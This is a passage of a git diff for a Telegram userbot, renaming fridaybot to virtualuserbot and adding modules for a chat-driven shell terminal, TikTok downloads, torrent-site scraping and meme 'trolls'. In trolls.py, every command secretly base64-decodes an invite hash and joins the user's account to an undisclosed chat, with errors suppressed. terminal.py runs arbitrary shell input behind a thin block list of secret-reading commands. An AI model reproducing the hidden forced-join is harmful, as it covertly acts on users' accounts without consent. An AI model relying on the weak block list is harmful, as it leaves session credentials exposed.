await event.client.get_entity(event.chat_id) + + where_m = get_display_name(where_) + button_text = "📨 Go to Message " + + if isinstance(where_, Channel): + message_link = f"https://t.me/c/{where_.id}/{event.id}" + else: + # not an official link, + # only works in DrKLO/Telegram, + # for some reason + message_link = f"tg://openmessage?chat_id={where_.id}&message_id={event.id}" + # Telegram is weird :\ + + ammoca_message += f"{who_m} tagged you in [{where_m}]({message_link})" + if NEEDTOLOG is not None: + await borg.send_message( + entity=NEEDTOLOG, + message=ammoca_message, + link_preview=False, + buttons=[[custom.Button.url(button_text, message_link)]], + silent=True, + ) + else: + return diff --git a/fridaybot/modules/tagall.py b/virtualuserbot/modules/tagall.py similarity index 95% rename from fridaybot/modules/tagall.py rename to virtualuserbot/modules/tagall.py index d8acbec5..7193911e 100644 --- a/fridaybot/modules/tagall.py +++ b/virtualuserbot/modules/tagall.py @@ -3,7 +3,7 @@ # file, You can obtain one at http://mozilla.org/MPL/2.0/. from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="tagall")) diff --git a/fridaybot/modules/tb_button.py b/virtualuserbot/modules/tb_button.py similarity index 98% rename from fridaybot/modules/tb_button.py rename to virtualuserbot/modules/tb_button.py index f8b5f280..3442a270 100644 --- a/fridaybot/modules/tb_button.py +++ b/virtualuserbot/modules/tb_button.py @@ -4,7 +4,7 @@ from telethon import custom -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd # regex obtained from: https://github.com/PaulSonOfLars/tgbot/blob/master/tg_bot/modules/helper_funcs/string_handling.py#L23 BTN_URL_REGEX = re.compile(r"(\{([^\[]+?)\}\)") diff --git a/fridaybot/modules/telegraph.py b/virtualuserbot/modules/telegraph.py similarity index 96% rename from fridaybot/modules/telegraph.py rename to virtualuserbot/modules/telegraph.py index baa6c830..8ca632e1 100644 --- a/fridaybot/modules/telegraph.py +++ b/virtualuserbot/modules/telegraph.py @@ -8,8 +8,8 @@ from PIL import Image from telegraph import Telegraph, exceptions, upload_file -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd telegraph = Telegraph() r = telegraph.create_account(short_name=Config.TELEGRAPH_SHORT_NAME) @@ -68,7 +68,7 @@ async def _(event): link_preview=True, ) elif input_str == "text": - user_object = await borg.get_entity(r_message.from_id) + user_object = await borg.get_entity(r_message.sender_id) title_of_page = user_object.first_name # + " " + user_object.last_name # apparently, all Users do not have last_name field if optional_title: diff --git a/virtualuserbot/modules/terminal.py b/virtualuserbot/modules/terminal.py new file mode 100644 index 00000000..369e18c2 --- /dev/null +++ b/virtualuserbot/modules/terminal.py @@ -0,0 +1,54 @@ +import asyncio +import os + +from virtualuserbot import ALIVE_NAME, bot + +from ..utils import admin_cmd + +DARKCOBRA = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" + +running_processes: dict = {} + + +@bot.on(admin_cmd(pattern="term(?: |$|\n)([\s\S]*)")) +async def dc(event): + await event.edit(f"**{DARKCOBRA}**: `Running Terminal.....`") + message = str(event.chat_id) + ":" + str(event.message.id) + if running_processes.get(message, False): + await event.edit("A process for this event is already running!") + return + cmd = event.pattern_match.group(1).strip() + if not cmd: + await event.edit("``` Give a command or use .help terminal.```") + return + if cmd in ("userbot.session", "env", "printenv"): + return await event.edit( + f"`{DARKCOBRA}:` **Privacy Error, This command not permitted**" + ) + process = await asyncio.create_subprocess_shell( + cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + running_processes.update({message: process}) + stdout, stderr = await process.communicate() + not_killed = running_processes.get(message, False) + if not_killed: + del running_processes[message] + text = f"**Terminal Command**: `{cmd}`\n**Return code**: `{process.returncode}`\n\n" + if stdout: + text += "\n**[stdout]**\n`" + stdout.decode("UTF-8").strip() + "\n`" + if stderr: + text += "\n**[stderr]**\n`" + stderr.decode("UTF-8").strip() + "\n`" + if stdout or stderr: + if not len(text) > 4096: + return await event.edit(text) + output = open("term.txt", "w+") + output.write(text) + output.close() + await event.client.send_file( + event.chat_id, + "term.txt", + reply_to=event.id, + caption=f"`{DARKCOBRA}:` **Output too large, sending as file**", + ) + os.remove("term.txt") + return diff --git a/fridaybot/modules/test.py b/virtualuserbot/modules/test.py similarity index 89% rename from fridaybot/modules/test.py rename to virtualuserbot/modules/test.py index 559d5651..985adc8f 100644 --- a/fridaybot/modules/test.py +++ b/virtualuserbot/modules/test.py @@ -1,6 +1,6 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"test")) diff --git a/fridaybot/modules/think.py b/virtualuserbot/modules/think.py similarity index 94% rename from fridaybot/modules/think.py rename to virtualuserbot/modules/think.py index 3f2dbf5a..8188bf45 100644 --- a/fridaybot/modules/think.py +++ b/virtualuserbot/modules/think.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("think")) diff --git a/fridaybot/modules/thumbnail.py b/virtualuserbot/modules/thumbnail.py similarity index 99% rename from fridaybot/modules/thumbnail.py rename to virtualuserbot/modules/thumbnail.py index b46b18f2..50ec72b7 100644 --- a/fridaybot/modules/thumbnail.py +++ b/virtualuserbot/modules/thumbnail.py @@ -12,7 +12,7 @@ from PIL import Image from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/tiktok.py b/virtualuserbot/modules/tiktok.py new file mode 100644 index 00000000..6c39de00 --- /dev/null +++ b/virtualuserbot/modules/tiktok.py @@ -0,0 +1,103 @@ +""" tiktok downloaded plugin creted by @mrconfused and @sandy1709 + + +Dont edit credits """ +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +@borg.on(admin_cmd("tti ?(.*)")) +async def _(event): + if event.fwd_from: + return + d_link = event.pattern_match.group(1) + if ".com" not in d_link: + await event.edit("` I need a link to download something pro.`**(._.)**") + return + else: + await event.edit("downloading your video") + + async with borg.conversation("@HK_tiktok_BOT") as conv: + try: + await conv.send_message(d_link) + await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id, "sorry . something went wrong") + return + await conv.get_response() + await conv.get_response() + await borg.send_file(event.chat_id, details, caption=details.text) + await event.delete() + except YouBlockedUserError: + await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") + + +@borg.on(admin_cmd("ttv ?(.*)")) +async def _(event): + if event.fwd_from: + return + d_link = event.pattern_match.group(1) + if ".com" not in d_link: + await event.edit("` I need a link to download something pro.`**(._.)**") + return + else: + await event.edit("doownloading your video") + + async with borg.conversation("@HK_tiktok_BOT") as conv: + try: + await conv.send_message(d_link) + await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id, "sorry . something went wrong") + return + await conv.get_response() + cat3 = await conv.get_response() + await borg.send_file(event.chat_id, cat3) + await event.delete() + except YouBlockedUserError: + await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") + + +@borg.on(admin_cmd("wttv ?(.*)")) +async def _(event): + if event.fwd_from: + return + d_link = event.pattern_match.group(1) + if ".com" not in d_link: + await event.edit("` I need a link to download something pro.`**(._.)**") + return + else: + await event.edit("doownloading your video") + + async with borg.conversation("@HK_tiktok_BOT") as conv: + try: + await conv.send_message(d_link) + await conv.get_response() + details = await conv.get_response() + if details.text.startswith("Sorry"): + await borg.send_message(event.chat_id, "sorry . something went wrong") + return + cat2 = await conv.get_response() + await conv.get_response() + await borg.send_file(event.chat_id, cat2) + await event.delete() + except YouBlockedUserError: + await event.edit("**Error:** `unblock` @HK_tiktok_BOT `and retry!`") + + +CMD_HELP.update( + { + "tiktok": "`.tti` :\ + \nUSAGE: Shows you the information of the given tiktok video link.\ + \n\n `.ttv `\ + \nUSAGE: Sends you the tiktok video of the given link without watermark\ + \n\n `.wttv `\ + \n\nUSAGE: Sends you the tiktok video of the given link with watermark\ + " + } +) diff --git a/fridaybot/modules/time.py b/virtualuserbot/modules/time.py similarity index 96% rename from fridaybot/modules/time.py rename to virtualuserbot/modules/time.py index 60aed5f3..8e4aad4b 100644 --- a/fridaybot/modules/time.py +++ b/virtualuserbot/modules/time.py @@ -7,8 +7,8 @@ from PIL import Image, ImageDraw, ImageFont -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd FONT_FILE_TO_USE = "Fonts/digital.ttf" diff --git a/fridaybot/modules/timefunc.py b/virtualuserbot/modules/timefunc.py similarity index 100% rename from fridaybot/modules/timefunc.py rename to virtualuserbot/modules/timefunc.py diff --git a/virtualuserbot/modules/toonify.py b/virtualuserbot/modules/toonify.py new file mode 100644 index 00000000..d9675488 --- /dev/null +++ b/virtualuserbot/modules/toonify.py @@ -0,0 +1,59 @@ +# By @Danish_00 +# Fixed By a NOOB +# Made for DARK COBRA by team Cobra.. +# kang with credits do not edit these lines.. + +import os + +import requests + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + +DARKCOBRA = Config.DEEP_AI if Config.DEEP_AI else "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" + + +@borg.on(admin_cmd(pattern="toonify$", outgoing=True)) +async def _(event): + + reply = await event.get_reply_message() + if not reply: # By @Danish_00 + # Fixed By a NOOB + return await event.edit("Reply to any image or non animated sticker !") + devent = await event.edit("`Downloading the file😅😁😁....`") + media = await event.client.download_media(reply) + if not media.endswith(("png", "jpg", "webp")): + return await event.edit( + "Reply to any image or non animated sticker !" + ) # By @Danish_00 + # Fixed By a NOOB + devent = await event.edit("`Toonifying image 🤪🤣🤓...`") # hehehhehehhe + r = requests.post( + "https://api.deepai.org/api/toonify", + files={ + "image": open(media, "rb"), + }, + headers={"api-key": DARKCOBRA}, + ) # By @Danish_00 + # Fixed By a NOOB + os.remove(media) + if "status" in r.json(): + return await devent.edit(r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + + await devent.delete() + await borg.send_message(event.chat_id, file=result) # hehehhehehehehheh + + +# hehehehehe +CMD_HELP.update( + { + "toonify": ".toonify " + "\nIt Toonify the face 🤣😂 `(Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)`" + } +) diff --git a/virtualuserbot/modules/torrentsearch.py b/virtualuserbot/modules/torrentsearch.py new file mode 100644 index 00000000..f17ae461 --- /dev/null +++ b/virtualuserbot/modules/torrentsearch.py @@ -0,0 +1,227 @@ +""" +Torrent Search Plugin for Userbot. //torrentdownloads.me +cmd: .search search_string +Note: Number of results are currently limited to 15 +By:-@Zero_cool7870 +""" +from datetime import datetime + +import cfscrape # https://github.com/Anorov/cloudflare-scrape +import requests +from bs4 import BeautifulSoup as bs + +from virtualuserbot import CMD_HELP, pro + +from ..utils import admin_cmd, humanbytes + +if pro == "True": + + def dogbin(magnets): + counter = 0 + urls = [] + while counter != len(magnets): + message = magnets[counter] + url = "https://del.dog/documents" + r = requests.post(url, data=message.encode("UTF-8")).json() + url = f"https://del.dog/{r['key']}" + urls.append(url) + counter += 1 + return urls + + @bot.on(admin_cmd(pattern="tsearch ?(.*)")) + async def tor_search(event): + if event.fwd_from: + return + headers = { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" + } + search_str = event.pattern_match.group(1) + await event.edit("Searching for " + search_str + ".....") + if " " in search_str: + search_str = search_str.replace(" ", "+") + print(search_str) + res = requests.get( + "https://www.torrentdownloads.me/search/?new=1&s_cat=0&search=" + + search_str, + headers, + ) + else: + res = requests.get( + "https://www.torrentdownloads.me/search/?search=" + search_str, headers + ) + source = bs(res.text, "lxml") + urls = [] + magnets = [] + titles = [] + counter = 0 + for div in source.find_all("div", {"class": "grey_bar3 back_none"}): + # print("https://www.torrentdownloads.me"+a['href']) + try: + title = div.p.a["title"] + title = title[20:] + titles.append(title) + urls.append("https://www.torrentdownloads.me" + div.p.a["href"]) + except KeyError: + pass + except TypeError: + pass + except AttributeError: + pass + if counter == 15: + break + counter += 1 + if not urls: + await event.edit("Either the Keyword was restricted or not found..") + return + for url in urls: + res = requests.get(url, headers) + # print("URl: "+url) + source = bs(res.text, "lxml") + for div in source.find_all("div", {"class": "grey_bar1 back_none"}): + try: + mg = div.p.a["href"] + magnets.append(mg) + except Exception: + pass + shorted_links = dogbin(magnets) + msg = "" + try: + search_str = search_str.replace("+", " ") + except BaseException: + pass + msg = "**Torrent Search Query**\n`{}`".format(search_str) + "\n**Results**\n" + counter = 0 + while counter != len(titles): + msg = ( + msg + + "⁍ [{}]".format(titles[counter]) + + "({})".format(shorted_links[counter]) + + "\n\n" + ) + counter += 1 + await event.edit(msg, link_preview=False) + + @bot.on(admin_cmd(pattern=r"movie (torrentz2\.eu|idop\.se) (.*)")) + async def _(event): + if event.fwd_from: + return + start = datetime.now() + await event.edit("Processing ...") + input_type = event.pattern_match.group(1) + input_str = event.pattern_match.group(2) + search_results = [] + if input_type == "torrentz2.eu": + search_results = search_torrentz_eu(input_str) + elif input_type == "idop.se": + search_results = search_idop_se(input_str) + logger.info(search_results) + output_str = "" + i = 0 + for result in search_results: + if i > 10: + break + message_text = ( + "👉 " + + result["title"] + + ": " + + "" + + " \r\n" + ) + message_text += " FILE SIZE: " + result["size"] + "\r\n" + # message_text += " Uploaded " + result["date"] + "\r\n" + message_text += ( + " SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + ) + message_text += "===\r\n" + output_str += message_text + i += 1 + end = datetime.now() + ms = (end - start).seconds + await event.edit( + f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", + link_preview=False, + parse_mode="html", + ) + + def search_idop_se(search_query): + r = [] + url = "https://idope.se/search/{}/".format(search_query) + raw_json = requests.get(url).json() + results = raw_json["result"]["items"] + for item in results: + # The content scrapped on 24.09.2018 22:56:45 + title = item["name"] + t_hash = item["info_hash"] + age = item["create_time"] + size = item["length"] + seeds = str(item["seeds"]) + r.append( + { + "title": title, + "hash": t_hash, + "age": age, + "size": humanbytes(size), + "seeds": seeds, + "peers": "NA", + } + ) + return r + + def search_torrentz_eu(search_query): + r = [] + url = "https://torrentz2eu.org/searchA?safe=1&f=" + search_query + "" + scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance + raw_html = scraper.get(url).content + # print(raw_html) + soup = bs(raw_html, "html.parser") + results = soup.find_all("div", {"class": "results"}) + # print(results) + if len(results) > 0: + results = results[0] + for item in results.find_all("dl"): + # print(item) + # The content scrapped on 23.06.2018 15:40:35 + dt = item.find_all("dt")[0] + dd = item.find_all("dd")[0] + # + try: + link_and_text = dt.find_all("a")[0] + link = link_and_text.get("href")[1:] + title = link_and_text.get_text() + span_elements = dd.find_all("span") + date = span_elements[1].get_text() + size = span_elements[2].get_text() + seeds = span_elements[3].get_text() + peers = span_elements[4].get_text() + # + r.append( + { + "title": title, + "hash": link, + "date": date, + "size": size, + "seeds": seeds, + "peers": peers, + } + ) + except BaseException: + pass + return r + + +CMD_HELP.update( + { + "torrentsearch": """**Plugin : **`torrentsearch` + + **A PRO PLUGIN.. ONLY FOR PRO's** + + • **Syntax : **`.tsearch query` + • **Function : **__Fetches torrent links of given query__ + • **Syntax : **`.movie idop.se query` + `.movie torrentz2.eu query` + • **Function : **__Fetches torrent links of given query alternative way__ +""" + } +) diff --git a/virtualuserbot/modules/torrentz.py b/virtualuserbot/modules/torrentz.py new file mode 100644 index 00000000..53b690b7 --- /dev/null +++ b/virtualuserbot/modules/torrentz.py @@ -0,0 +1,124 @@ +""" command: .movie torrentz2.eu|idop.se """ + +from datetime import datetime + +import cfscrape # https://github.com/Anorov/cloudflare-scrape +import requests +from bs4 import BeautifulSoup + +from virtualuserbot import pro + +from ..utils import admin_cmd, humanbytes + +if pro == "True": + + @borg.on( + admin_cmd(pattern="movie (torrentz2\.eu|idop\.se) (.*)") # pylint:disable=E0602 + ) + async def _(event): + if event.fwd_from: + return + start = datetime.now() + await event.edit("Processing ...") + input_type = event.pattern_match.group(1) + input_str = event.pattern_match.group(2) + search_results = [] + if input_type == "torrentz2.eu": + search_results = search_torrentz_eu(input_str) + elif input_type == "idop.se": + search_results = search_idop_se(input_str) + logger.info(search_results) # pylint:disable=E0602 + output_str = "" + i = 0 + for result in search_results: + if i > 10: + break + message_text = ( + "👉 " + + result["title"] + + ": " + + "" + + " \r\n" + ) + message_text += " FILE SIZE: " + result["size"] + "\r\n" + # message_text += " Uploaded " + result["date"] + "\r\n" + message_text += ( + " SEEDS: " + result["seeds"] + " PEERS: " + result["peers"] + " \r\n" + ) + message_text += "===\r\n" + output_str += message_text + i = i + 1 + end = datetime.now() + ms = (end - start).seconds + await event.edit( + f"Scrapped {input_type} for {input_str} in {ms} seconds. Obtained Results: \n {output_str}", + link_preview=False, + parse_mode="html", + ) + + def search_idop_se(search_query): + r = [] + url = "https://idope.se/search/{}/".format(search_query) + raw_json = requests.get(url).json() + results = raw_json["result"]["items"] + for item in results: + """The content scrapped on 24.09.2018 22:56:45""" + title = item["name"] + hash = item["info_hash"] + age = item["create_time"] + size = item["length"] + seeds = str(item["seeds"]) + r.append( + { + "title": title, + "hash": hash, + "age": age, + "size": humanbytes(size), + "seeds": seeds, + "peers": "NA", + } + ) + return r + + def search_torrentz_eu(search_query): + r = [] + url = "https://torrentz2.eu/searchA?safe=1&f=" + search_query + "" + scraper = cfscrape.create_scraper() # returns a CloudflareScraper instance + raw_html = scraper.get(url).content + # print(raw_html) + soup = BeautifulSoup(raw_html, "html.parser") + results = soup.find_all("div", {"class": "results"}) + # print(results) + if len(results) > 0: + results = results[0] + for item in results.find_all("dl"): + # print(item) + """The content scrapped on 23.06.2018 15:40:35""" + dt = item.find_all("dt")[0] + dd = item.find_all("dd")[0] + # + try: + link_and_text = dt.find_all("a")[0] + link = link_and_text.get("href")[1:] + title = link_and_text.get_text() + span_elements = dd.find_all("span") + date = span_elements[1].get_text() + size = span_elements[2].get_text() + seeds = span_elements[3].get_text() + peers = span_elements[4].get_text() + # + r.append( + { + "title": title, + "hash": link, + "date": date, + "size": size, + "seeds": seeds, + "peers": peers, + } + ) + except: + pass + return r diff --git a/fridaybot/modules/translate.py b/virtualuserbot/modules/translate.py similarity index 83% rename from fridaybot/modules/translate.py rename to virtualuserbot/modules/translate.py index 7de6dd69..1c33b5b7 100644 --- a/fridaybot/modules/translate.py +++ b/virtualuserbot/modules/translate.py @@ -3,12 +3,13 @@ .tr LanguageCode as reply to a message .tr LangaugeCode | text to translate""" -from deep_translator import GoogleTranslator +import requests +from google_trans_new import google_translator from googletrans import LANGUAGES from langdetect import detect -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("tr ?(.*)")) @@ -28,12 +29,13 @@ async def _(event): else: await edit_or_reply(event, "`.tr LanguageCode` as reply to a message") return + lan = lan.strip() try: - lmao_bruh = text + translator = google_translator() + translated = translator.translate(text, lang_tgt=lan) lmao = detect(text) after_tr_text = lmao - translated = GoogleTranslator(source="auto", target=lan).translate(lmao_bruh) source_lan = LANGUAGES[after_tr_text] transl_lan = LANGUAGES[lan] output_str = f"""**TRANSLATED SUCCESSFULLY** @@ -41,6 +43,7 @@ async def _(event): `{text}` **Translation ({transl_lan})**: `{translated}`""" + if len(output_str) >= 4096: out_file = output_str url = "https://del.dog/documents" @@ -50,8 +53,8 @@ async def _(event): else: starky = output_str await edit_or_reply(event, starky) - except Exception as exc: - await edit_or_reply(event, str(exc)) + except Exception as e: + print(e) CMD_HELP.update( diff --git a/virtualuserbot/modules/trolls.py b/virtualuserbot/modules/trolls.py new file mode 100644 index 00000000..8f910e9e --- /dev/null +++ b/virtualuserbot/modules/trolls.py @@ -0,0 +1,324 @@ +""" +credits to @mrconfused and @sandy1709 +""" +# Copyright (C) 2020 sandeep.n(π.$) +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import base64 +import os + +import requests +from PIL import Image +from telegraph import exceptions, upload_file +from telethon.tl.functions.messages import ImportChatInviteRequest as Get +from validators.url import url + +from virtualuserbot import * +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + + +async def trap(text1, text2, text3): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=trap&name={text1}&author={text2}&image={text3}" + ).json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + + +async def trash(text): + r = requests.get(f"https://nekobot.xyz/api/imagegen?type=trash&url={text}").json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + + +async def threats(text): + r = requests.get(f"https://nekobot.xyz/api/imagegen?type=threats&url={text}").json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + + +async def phcomment(text1, text2, text3): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=phcomment&image={text1}&text={text2}&username={text3}" + ).json() + sandy = r.get("message") + caturl = url(sandy) + if not caturl: + return "check syntax once more" + with open("temp.png", "wb") as f: + f.write(requests.get(sandy).content) + img = Image.open("temp.png") + if img.mode != "RGB": + img = img.convert("RGB") + img.save("temp.jpg", "jpeg") + return "temp.jpg" + + +@bot.on(admin_cmd(pattern="threats(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="threats(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await threats(cat) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +@bot.on(admin_cmd(pattern="ttrash(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="ttrash(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await trash(cat) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +@bot.on(admin_cmd(pattern="ttrap(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="ttrap(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + input_str = catmemes.pattern_match.group(1) + + if "|" in input_str: + text1, text2 = input_str.split("|") + else: + await edit_or_reply( + catmemes, + "**Syntax :** reply to image or sticker with `.ttrap (name of the person to trap)|(trapper name)`", + ) + return + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await trap(text1, text2, cat) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +@bot.on(admin_cmd(pattern="tphub(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="tphub(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + input_str = catmemes.pattern_match.group(1) + + if "|" in input_str: + username, text = input_str.split("|") + else: + await edit_or_reply( + catmemes, + "**Syntax :** reply to image or sticker with `.tphub (username)|(text in comment)`", + ) + return + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await phcomment(cat, text, username) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +CMD_HELP.update( + { + "trolls": "**Plugin : **`trolls`\ + \n\n**Syntax :**`.threats` reply to image or sticker \ + \n**USAGE:**Changes the given pic to another pic which shows that pic content is threat to society as that of nuclear bomb .\ + \n\n**Syntax :**`.ttrash` reply to image or sticker\ + \n**USAGE : **Changes the given pic to another pic which shows that pic content is as equal as to trash(waste)\ + \n\n**Syntax :** reply to image or sticker with `.ttrap (name of the person to trap)|(trapper name)`\ + \n**USAGE :**Changes the given pic to another pic which shows that pic content is trapped in trap card\ + \n\n**Syntax :** reply to image or sticker with `.tphub (username)|(text in comment)`\ + \n**USAGE :**Changes the given pic to another pic which shows that pic content as dp and shows a comment in phub with the given username\ + " + } +) diff --git a/virtualuserbot/modules/tweet.py b/virtualuserbot/modules/tweet.py new file mode 100644 index 00000000..78298400 --- /dev/null +++ b/virtualuserbot/modules/tweet.py @@ -0,0 +1,418 @@ +import os +import random +import re + +import requests +from PIL import Image +from validators.url import url + +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.tweet import 